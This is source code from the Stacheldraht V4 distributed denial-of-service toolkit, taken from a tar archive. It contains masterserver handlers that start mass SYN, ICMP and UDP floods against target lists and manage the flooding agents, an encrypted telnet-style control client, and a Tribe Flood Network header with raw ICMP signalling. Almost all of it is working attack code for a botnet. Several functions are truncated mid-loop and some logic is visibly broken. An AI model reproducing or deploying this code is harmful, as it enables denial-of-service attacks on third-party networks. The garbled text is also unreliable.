ffprintf("removing masterserver - ",fd); if (resolv) hostenti=gethostbyname(pointi); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); ffprintf("failed.\n",fd); return; } else { mip=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } } else { sprintf(text,"%s\n",pointi); ffprintf(text,fd); mip=inet_addr(pointi); } for (roundcounti=0;roundcounti\n",fd); return; } savi=buffer; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } pointi=buffer; while (*pointi!=' ') pointi++; pointi++; ffprintf("adding masterserver - ",fd); if (resolv) hostenti=gethostbyname(pointi); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); ffprintf("failed.\n",fd); return; } else { mip=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } } else { sprintf(text,"%s\n",pointi); ffprintf(text,fd); mip=inet_addr(pointi); } for (roundcounti=0;roundcounti1) sprintf(text,"[*] stacheldraht [*] is packeting %d ips\n",hitcounter); else sprintf(text,"[*] stacheldraht [*] is packeting 1 ip\n"); ffprintf(text,fd); } void mremove(int fd,char *buffer) { char *pointi; char *savi; char *savi2; char *saveadd; char *PARAM; int floodcount; int counti; int dontadd; int hitcounter; int removed; int tempi; struct hostent *hostenti; if (flood==0) { ffprintf("no packet action at the moment, sir.\n",fd); return; } counti=0; buffer=buffer+6; while (*buffer==' ') buffer++; savi2=(char*)&sendbuffer; saveadd=(char*)&tempbuffer; memset(saveadd,0,sizeof(tempbuffer)); hitcounter=0; while (*(int*)savi2!=0) { savi2=savi2+4; hitcounter++; } savi2=(char*)&sendbuffer; if (hitcounter==1) { massstop(fd,".mstop all"); return; } ffprintf("deleting from packetlist...\n",fd); counti=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) { PARAM=NULL; dontadd=0; savi=pointi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } if (resolv) hostenti=gethostbyname(pointi); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); } else { savi2=(char*)&sendbuffer; removed=0; while (*(int*)savi2!=0) { dontadd=0; if (*(int*)savi2==*(unsigned long*)hostenti->h_addr) dontadd=1; if (dontadd==0) { *(int*)saveadd=*(int*)savi2; saveadd=saveadd+4; } if (dontadd) { removed=1; amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s - removed.\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } savi2=savi2+4; } if (removed==0) { amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s - skipped.\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } } } else { savi2=(char*)&sendbuffer; while (*(int*)savi2!=0) { dontadd=0; if (*(int*)savi2==inet_addr(pointi)) { dontadd=1; amanda.s_addr=inet_addr(pointi); } if (dontadd==0) { *(int*)saveadd=*(int*)savi2; saveadd=saveadd+4; amanda.s_addr=inet_addr(pointi); } if (dontadd) { amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s - removed.\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } savi2=savi2+4; } } floodcount++; } *(int*)saveadd=0; savi2=(char*)&sendbuffer; memcpy(sendbuffer,tempbuffer,sizeof(sendbuffer)); savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); ffprintf("restarting packeting routines...\n",fd); for (roundcounti=0;roundcounti\n",fd); return; } if (flood==0) { ffprintf("no packet action at the moment, sir.\n",fd); return; } counti=0; buffer=buffer+6; while (*buffer==' ') buffer++; savi2=(char*)&sendbuffer; saveadd=(char*)&sendbuffer; while (*(int*)saveadd!=0) saveadd=saveadd+4; ffprintf("adding to packetlist...\n",fd); counti=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) { PARAM=NULL; dontadd=0; savi=pointi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } if (resolv) hostenti=gethostbyname(pointi); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); } else { savi2=(char*)&sendbuffer; while (*(int*)savi2!=0) { if (*(int*)savi2==*(unsigned long*)hostenti->h_addr) { dontadd=1; amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s - skipped.\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } savi2=savi2+4; } if (dontadd==0) { *(int*)saveadd=*(unsigned long*)hostenti->h_addr; saveadd=saveadd+4; amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s - added.\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } } } else { savi2=(char*)&sendbuffer; dontadd=0; *(int*)savi2=inet_addr(pointi); while (*(int*)savi2!=0) { if (*(int*)savi2==inet_addr(pointi)) { dontadd=1; amanda.s_addr=inet_addr(pointi); sprintf(text,"%s - skipped.\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } savi2=savi2+4; } if (dontadd==0) { *(int*)saveadd=inet_addr(pointi); saveadd=saveadd+4; amanda.s_addr=inet_addr(pointi); sprintf(text,"%s - added.\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); } } floodcount++; savi2=savi2+4; } *(int*)savi2=0; // savi2=(char*)&sendbuffer; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); ffprintf("restarting packeting routines...\n",fd); for (roundcounti=0;roundcounti\n",fd); return; } buffer=buffer+7; while (*buffer==' ') buffer++; savi=buffer; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } ptimer=atoi(buffer); timetorun=ptimer; /* for (roundcounti=0;roundcounti or \n",fd); return; } endmtime=0; if (strstr(buffer,"all")==NULL) { mremove(fd,buffer); return; } if (flood==0) { ffprintf("no packet action at the moment, sir.\n",fd); return; } /* unset the internal flood variable */ flood=0; floodt=0; count=0; for (roundcounti=0;roundcounti<50;roundcounti++) { for (count=0;count\n",fd); return; } if (flood) { ffprintf("the net is already packeting.\n",fd); return; } floodt=SYN; memset((void*)&sendbuffer,0,sizeof(sendbuffer)); if (ptimer!=0) endmtime=ptimer+time(NULL); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass syn flooding\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) { PARAM=NULL; savi=pointi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } if (resolv) hostenti=gethostbyname(pointi); // ffprintf("packeting - ",fd); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); } else { *(int*)savi2=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; /* sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); */ } } else { /* sprintf(text,"%s\n",pointi); ffprintf(text,fd); */ *(int*)savi2=inet_addr(pointi); } floodcount++; savi2=savi2+4; } *savi2=0; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti\n",fd); return; } if (flood) { ffprintf("the net is already packeting.\n",fd); return; } floodt=ICMP; if (ptimer!=0) endmtime=ptimer+time(NULL); memset((void*)&sendbuffer,0,sizeof(sendbuffer)); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass icmp bombing\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) { PARAM=NULL; savi=pointi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } if (resolv) hostenti=gethostbyname(pointi); /* sprintf(text,"packeting - "); ffprintf(text,fd); */ if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); } else { *(int*)savi2=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; /* sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); */ } } else { /* sprintf(text,"%s\n",pointi); ffprintf(text,fd); */ *(int*)savi2=inet_addr(pointi); } floodcount++; savi2=savi2+4; } *savi2=0; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti\n",fd); return; } if (flood) { ffprintf("the net is already packeting.\n",fd); return; } if (ptimer!=0) endmtime=ptimer+time(NULL); floodt=UDP; memset((void*)&sendbuffer,0,sizeof(sendbuffer)); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass udp bombing\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) { PARAM=NULL; savi=pointi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } if (resolv) hostenti=gethostbyname(pointi); // ffprintf("packeting - ",fd); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); } else { *(int*)savi2=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; /* sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); ffprintf(text,fd); */ } } else { /* sprintf(text,"%s\n",pointi); ffprintf(text,fd); */ *(int*)savi2=inet_addr(pointi); } floodcount++; savi2=savi2+4; } savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti",0,0); else sprintf(prompti,"stacheldraht(status: a!%i d!%i)>",0,0); return; } } if (option!=3) ffprintf("waiting for ping replies...\n",fd); memset((char*)&s,0,sizeof(s)); memset((char*)&connectstruct,0,sizeof(connectstruct)); memset(replies,0,sizeof(replies)); alreadydone=0; count2=0; failedcount=0; remainder=0; while (alreadydone!=bcastcount) { alreadydone=alreadydone+remainder; remainder=bcastcount-alreadydone; if (remainder>250) remainder=250; // printf("%i\n",alreadydone); for (count=0;counttime(NULL)) { tv.tv_sec = 2; tv.tv_usec = 0; FD_ZERO(&readset); FD_ZERO(&writeset); lastsock = 0; if (failedcount+count2==remainder) break; for (count=0;count s[count].socket) ? lastsock :s[count].socket; } } if (select(lastsock+1,&readset,&writeset,NULL,&tv)!=0) { for (count=0;count",albcasts,(bcastcount-albcasts)); else sprintf(prompti,"stacheldraht(status: a!%i d!%i)>",albcasts,(bcastcount-albcasts)); return; } if ((option!=4) && (option!=5)) { sprintf(text,"total bcasts : %d - 100%\n",bcastcount); ffprintf(text,fd); if (albcasts==0) sprintf(text,"alive bcasts : 0 - 0%\n"); else sprintf(text,"alive bcasts : %d - %d%\n",albcasts,(albcasts*1000/(bcastcount*1000/100))); ffprintf(text,fd); sprintf(text,"dead bcasts : %d - %d%\n",(bcastcount-albcasts),((bcastcount-albcasts)*1000/(bcastcount*1000/100))); ffprintf(text,fd); } if (option==5) { ffprintf("showing the alive bcasts...\n",fd); ffprintf("---------------------------\n",fd); for (count2=0;count2 #define BOXES 3 /* #define S(x,i) (bf_S[i][x.w.byte##i]) */ #define S0(x) (bf_S[0][x.w.byte0]) #define S1(x) (bf_S[1][x.w.byte1]) #define S2(x) (bf_S[2][x.w.byte2]) #define S3(x) (bf_S[3][x.w.byte3]) #define bf_F(x) (((S0(x) + S1(x)) ^ S2(x)) + S3(x)) #define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n]) struct box_t { UWORD_32bits *P; UWORD_32bits **S; char key[81]; char keybytes; } box[BOXES]; UWORD_32bits *bf_P; UWORD_32bits **bf_S; void blowfish_encipher (UWORD_32bits * xl, UWORD_32bits * xr) { union aword Xl; union aword Xr; Xl.word = *xl; Xr.word = *xr; Xl.word ^= bf_P[0]; ROUND(Xr, Xl, 1); ROUND(Xl, Xr, 2); ROUND(Xr, Xl, 3); ROUND(Xl, Xr, 4); ROUND(Xr, Xl, 5); ROUND(Xl, Xr, 6); ROUND(Xr, Xl, 7); ROUND(Xl, Xr, 8); ROUND(Xr, Xl, 9); ROUND(Xl, Xr, 10); ROUND(Xr, Xl, 11); ROUND(Xl, Xr, 12); ROUND(Xr, Xl, 13); ROUND(Xl, Xr, 14); ROUND(Xr, Xl, 15); ROUND(Xl, Xr, 16); Xr.word ^= bf_P[17]; *xr = Xl.word; *xl = Xr.word; } void blowfish_decipher (UWORD_32bits *xl, UWORD_32bits *xr) { union aword Xl; union aword Xr; Xl.word = *xl; Xr.word = *xr; Xl.word ^= bf_P[17]; ROUND(Xr, Xl, 16); ROUND(Xl, Xr, 15); ROUND(Xr, Xl, 14); ROUND(Xl, Xr, 13); ROUND(Xr, Xl, 12); ROUND(Xl, Xr, 11); ROUND(Xr, Xl, 10); ROUND(Xl, Xr, 9); ROUND(Xr, Xl, 8); ROUND(Xl, Xr, 7); ROUND(Xr, Xl, 6); ROUND(Xl, Xr, 5); ROUND(Xr, Xl, 4); ROUND(Xl, Xr, 3); ROUND(Xr, Xl, 2); ROUND(Xl, Xr, 1); Xr.word ^= bf_P[0]; *xl = Xr.word; *xr = Xl.word; } void blowfish_init (UBYTE_08bits * key, short keybytes, int bxtouse) { int i, j, bx; // time_t lowest; UWORD_32bits data; UWORD_32bits datal; UWORD_32bits datar; union aword temp; for (i = 0; i < BOXES; i++) if (box[i].P != NULL) { if ((box[i].keybytes == keybytes) && (strncmp((char *) (box[i].key), (char *) key, keybytes) == 0)) { bf_P = box[i].P; bf_S = box[i].S; return; } } bx = (-1); for (i = 0; i < BOXES; i++) { if (box[i].P == NULL) { bx = i; i = BOXES + 1; } } if (bx < 0) { bx = bxtouse; free(box[bx].P); for (i = 0; i < 4; i++) free(box[bx].S[i]); free(box[bx].S); } box[bx].P = (UWORD_32bits *) malloc((bf_N + 2) * sizeof(UWORD_32bits)); box[bx].S = (UWORD_32bits **) malloc(4 * sizeof(UWORD_32bits *)); for (i = 0; i < 4; i++) box[bx].S[i] = (UWORD_32bits *) malloc(256 * sizeof(UWORD_32bits)); bf_P = box[bx].P; bf_S = box[bx].S; box[bx].keybytes = keybytes; strncpy(box[bx].key, key, keybytes); for (i = 0; i < bf_N + 2; i++) bf_P[i] = initbf_P[i]; for (i = 0; i < 4; i++) for (j = 0; j < 256; j++) bf_S[i][j] = initbf_S[i][j]; j = 0; for (i = 0; i < bf_N + 2; ++i) { temp.word = 0; temp.w.byte0 = key[j]; temp.w.byte1 = key[(j + 1) % keybytes]; temp.w.byte2 = key[(j + 2) % keybytes]; temp.w.byte3 = key[(j + 3) % keybytes]; data = temp.word; bf_P[i] = bf_P[i] ^ data; j = (j + 4) % keybytes; } datal = 0x00000000; datar = 0x00000000; for (i = 0; i < bf_N + 2; i += 2) { blowfish_encipher(&datal, &datar); bf_P[i] = datal; bf_P[i + 1] = datar; } for (i = 0; i < 4; ++i) { for (j = 0; j < 256; j += 2) { blowfish_encipher(&datal, &datar); bf_S[i][j] = datal; bf_S[i][j + 1] = datar; } } } #define SALT1 0xdeadd061 #define SALT2 0x23f6b095 char *base64 = "./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int base64dec (char c) { int i; for (i = 0; i < 64; i++) if (base64[i] == c) return i; return 0; } char *encrypt_string2 (char *key, char *str,int sizi) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; int countilein; dest = malloc((sizi + 9) * 2); s = (char *) malloc(sizi + 9); printf("huhu\n"); memcpy(s, str,sizi); countilein=0; p = s; /* while (countilein < sizi) p++;*/ p=p+sizi; /* for (i = 0; i < 8; i++) *p++ = 0; */ blowfish_init(key, strlen(key), 0); p = s; d = dest; d = dest; while (countilein < sizi) { countilein++; left = ((*p++) << 24); left += ((*p++) << 16); left += ((*p++) << 8); left += (*p++); right = ((*p++) << 24); right += ((*p++) << 16); right += ((*p++) << 8); right += (*p++); blowfish_encipher(&left, &right); for (i = 0; i < 6; i++) { *d++ = base64[right & 0x3f]; right = (right >> 6); } for (i = 0; i < 6; i++) { *d++ = base64[left & 0x3f]; left = (left >> 6); } } *d = 0; free(s); return dest; } char *encrypt_string (char *key, char *str) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; dest = (char *) malloc((strlen(str) + 9) * 2); s = (char *) malloc(strlen(str) + 9); strcpy(s, str); p = s; while (*p) p++; for (i = 0; i < 8; i++) *p++ = 0; blowfish_init(key, strlen(key), 0); p = s; d = dest; while (*p) { left = ((*p++) << 24); left += ((*p++) << 16); left += ((*p++) << 8); left += (*p++); right = ((*p++) << 24); right += ((*p++) << 16); right += ((*p++) << 8); right += (*p++); blowfish_encipher(&left, &right); for (i = 0; i < 6; i++) { *d++ = base64[right & 0x3f]; right = (right >> 6); } for (i = 0; i < 6; i++) { *d++ = base64[left & 0x3f]; left = (left >> 6); } } *d = 0; free(s); return dest; } char *decrypt_string (char *key, char *str) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; dest = (char *) malloc(strlen(str) + 12); s = (char *) malloc(strlen(str) + 12); strcpy(s, str); p = s; while (*p) p++; for (i = 0; i < 12; i++) *p++ = 0; blowfish_init(key, strlen(key), 0); p = s; d = dest; while (*p) { right = 0L; left = 0L; for (i = 0; i < 6; i++) right |= (base64dec(*p++)) << (i * 6); for (i = 0; i < 6; i++) left |= (base64dec(*p++)) << (i * 6); blowfish_decipher(&left, &right); for (i = 0; i < 4; i++) *d++ = (left & (0xff << ((3 - i) * 8))) >> ((3 - i) * 8); for (i = 0; i < 4; i++) *d++ = (right & (0xff << ((3 - i) * 8))) >> ((3 - i) * 8); } *d = 0; free(s); return dest; } stacheldrahtV4/telnetc/blowfish.h100644 0 0 2413 6754712743 15460 0ustar rootroot/* modified 19jul96 by robey -- uses autoconf values now */ #ifndef _H_BLOWFISH #define _H_BLOWFISH #include #include #include #define MAXKEYBYTES 56 /* 448 bits */ #define bf_N 16 #define noErr 0 #define DATAERROR -1 #define KEYBYTES 8 #define UBYTE_08bits unsigned char #define UWORD_16bits unsigned short #define nmalloc(x) n_malloc((x),__FILE__,__LINE__) /* dAS lEETo rIP fROm eggdrop.h */ /* FUCK THE AUTOCONF :D */ #define SIZEOF_INT 4 #define SIZEOF_LONG 4 #if SIZEOF_INT==4 # define UWORD_32bits unsigned int #else # if SIZEOF_LONG==4 # define UWORD_32bits unsigned long # endif #endif /* choose a byte order for your hardware */ #ifdef WORDS_BIGENDIAN /* ABCD - big endian - motorola */ union aword { UWORD_32bits word; UBYTE_08bits byte [4]; struct { unsigned int byte0:8; unsigned int byte1:8; unsigned int byte2:8; unsigned int byte3:8; } w; }; #endif /* WORDS_BIGENDIAN */ #ifndef WORDS_BIGENDIAN /* DCBA - little endian - intel */ union aword { UWORD_32bits word; UBYTE_08bits byte [4]; struct { unsigned int byte3:8; unsigned int byte2:8; unsigned int byte1:8; unsigned int byte0:8; } w; }; #endif /* !WORDS_BIGENDIAN */ #endif stacheldrahtV4/telnetc/client.c100644 0 0 10564 7047037727 15140 0ustar rootroot/* [*] stacheldraht [*] telnet alike masterserver client (c) in 1999 by randomizer */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "blowfish.h" #define MASTERSERVERPORT 61111 #define timeout 10 /* encrypted password given by crypt() */ char result[14]; char *crypt(const char *, const char *); void decryptstuff(char *,char *,char *); void encryptstuff(char *,char *,char *); char *encrypt_string(char *, char *); char *decrypt_string(char *, char *); /* multiplexer routine */ void setupfdroutine(int fd) { fd_set fdset; char data[1024]; char encrypteddata[1024]; char decrypteddata[1024]; int fuckit; int left,readit; int readd; char *pointi; // fcntl(fd,F_SETFL,O_NONBLOCK); while (1) { /* zero the fdset bullshit */ FD_ZERO(&fdset); /* we need stdin connected to our leeto socket */ FD_SET(0,&fdset); /* leet0 network socket */ FD_SET(fd,&fdset); /* wait till something changes */ select(FD_SETSIZE,&fdset,NULL,NULL,NULL); memset(data,0,sizeof(data)); memset(encrypteddata,0,sizeof(encrypteddata)); /* check if stdin stream state changed */ if (FD_ISSET(0,&fdset)) { /* read out from stdin */ read(0,data,sizeof(data)); encryptstuff(data,encrypteddata,result); write(fd,encrypteddata,sizeof(encrypteddata)); } /* check if socket state changed */ if (FD_ISSET(fd,&fdset)) { /* read socket data */ /* readd=0; readit=0; pointi=(char*)&data; left=sizeof(data); while (readit!=sizeof(data)) { readd=read(fd,pointi,left); if (!readd) { printf("connection closed.\n"); exit(0); } left=sizeof(data)-readd; readit=readit+readd; pointi=pointi+readd; } */ if (!read(fd,data,sizeof(data))) { printf("connection closed.\n"); exit(0); } decryptstuff(data,decrypteddata,result); memset(data,0,sizeof(data)); /* display output */ printf("%s",decrypteddata); fflush(stdout); } } } void decryptstuff(char *source,char *desti,char *key) { strcpy(desti,decrypt_string(key,source)); } void encryptstuff(char *source,char *desti,char *key) { strcpy(desti,encrypt_string(key,source)); } void main(int argc,char **argv) { int connectsocket; unsigned long destinationip; struct sockaddr_in connectstruct; /* typed in user passphrase */ char password[200]; /* encrypted crypt() password with blowfish ;) */ char encryptedcrap[1024]; /* used for masterserver replies */ char replybuffer[1024]; struct hostent *hostenti; if (argc<2) { printf("usage: ./sclient \n"); exit(-1); } printf(" [*] stacheldraht [*] \n"); printf(" (c) in 1999 by randomizer\n\n"); printf("trying to connect...\n"); /* resolve bullshit */ hostenti=gethostbyname(argv[1]); if (!hostenti) { printf("unable to resolv %s\n",argv[1]); exit(0); } destinationip=*(unsigned long*)hostenti->h_addr; /* setup socket needed to connect later */ connectsocket=socket(AF_INET,SOCK_STREAM,0); connectstruct.sin_family=AF_INET; connectstruct.sin_port=htons(MASTERSERVERPORT); connectstruct.sin_addr.s_addr=destinationip; /* connect to the damn masterserver */ if (connect(connectsocket,(struct sockaddr*)&connectstruct,sizeof(struct sockaddr))!=0) { printf("unable to connect.\n"); exit(-1); } memset(password,0,sizeof(password)); memset(encryptedcrap,0,sizeof(encryptedcrap)); memset(result,0,sizeof(result)); memset(replybuffer,0,sizeof(replybuffer)); printf("connection established.\n"); printf("--------------------------------------\n"); strcpy(password,getpass("enter the passphrase : ")); fflush(stdout); printf("--------------------------------------\n"); strcpy(result,crypt(password,"zA")); encryptstuff("authentication",encryptedcrap,result); /* send it to the masterserver */ write(connectsocket,encryptedcrap,sizeof(encryptedcrap)); /* wait for the authentication reply */ read(connectsocket,replybuffer,sizeof(replybuffer)); if (strstr(replybuffer,"failed")!=NULL) { close(connectsocket); printf("authentication failed.\n"); printf("connection closed.\n"); exit(-1); } /* authentication done */ printf("entering interactive session.\n"); /* install the multiplex0a0a0a0r */ setupfdroutine(connectsocket); } stacheldrahtV4/tubby.h100644 0 0 6021 6760670220 13317 0ustar rootroot/* tubby.h - tribe flood network include file */ #ifndef TUBBY_H #define TUBBY_H #define __FAVOR_BSD #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if CHILDS > 15 #error "Packet kiddie detected..." #error "That many childs would crash the host... :)" #endif char shameless_self_promotion[] = "Tribe Flood Network (c) 1999 by Mixter\n\n"; #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) #define mixprintf(a,b,c) snprintf(a,sizeof(a)-1,b,c) #define mixprintf2(a,b,c,d) snprintf(a,sizeof(a)-1,b,c,d) #define ANSWER send_connect (ip->saddr, ID_ACK, answer) void send_connect (unsigned long, unsigned int, char *,int); u_long syn (char *, u_short); u_short cksum (u_short *, int); int udp (char *); int validip (char *); char *strfl (void); void show_shit (char *); u_long k00lip (void); char *k00lntoa (void); void must_kill_all (void); void commence_udp (char *); void commence_syn (char *, int); #ifdef ID_SHELL void shellsex (int); #endif unsigned short ip_sum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } u_short cksum (u_short * buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) printf("%i\n",nwords); sum += *buf++; printf("%i\n",nwords); sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } int validip (char *ip) { int a, b, c, d, *x; sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d); x = &a; if (*x < 0) return 0; if (*x > 255) return 0; x = &b; if (*x < 0) return 0; if (*x > 255) return 0; x = &c; if (*x < 0) return 0; if (*x > 255) return 0; x = &d; if (*x < 0) return 0; if (*x > 255) return 0; sprintf (ip, "%d.%d.%d.%d", a, b, c, d); // truncate possible garbage data return 1; } void send_connect (unsigned long to, unsigned int id, char *data,int sizi) { char buf[1024]; struct icmp *icmpi = (struct icmp *) buf; char *bla = (buf + sizeof (struct icmp)); struct sockaddr_in sa; int i, ssock; FILE *fili; ssock = socket (AF_INET, SOCK_RAW, 1); bzero (buf, sizeof(buf)); icmpi->icmp_type = 0; icmpi->icmp_hun.ih_idseq.icd_id = htons (id); memcpy(bla,data,sizi); icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, 1024); sa.sin_family = AF_INET; sa.sin_addr.s_addr = to; i = sendto (ssock, buf, 1024, 0, (struct sockaddr *) &sa, sizeof (sa)); close (ssock); } #endif